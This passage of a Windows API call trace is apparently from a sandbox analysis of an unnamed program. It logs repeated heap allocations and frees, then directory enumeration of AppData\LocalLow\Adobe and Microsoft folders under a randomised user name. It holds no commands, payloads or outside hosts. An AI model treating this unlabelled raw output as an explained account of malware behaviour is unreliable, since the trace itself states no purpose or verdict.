lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.496] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0118.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0118.497] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.497] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.497] PathFindFileNameW (pszPath="") returned="" [0118.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0118.498] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.498] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941a90 | out: hHeap=0xd10000) returned 1 [0118.499] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.499] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c) returned 0x3947c20 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0118.499] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0118.499] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.499] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x386a488 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x38) returned 0x3983720 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.499] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.499] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3915118 [0118.499] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x386a488 | out: hHeap=0xd10000) returned 1 [0118.499] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.499] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0118.499] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.499] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0118.499] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b08 | out: hHeap=0xd10000) returned 1 [0118.499] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0118.499] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0118.499] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0118.500] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0118.500] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0118.500] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0118.500] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0118.500] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0118.500] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0118.500] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0118.500] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0118.500] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.500] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.500] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.500] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.500] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.500] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.500] PathFindFileNameW (pszPath="") returned="" [0118.500] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.502] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.502] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0118.502] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0118.502] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0118.502] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0118.502] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, 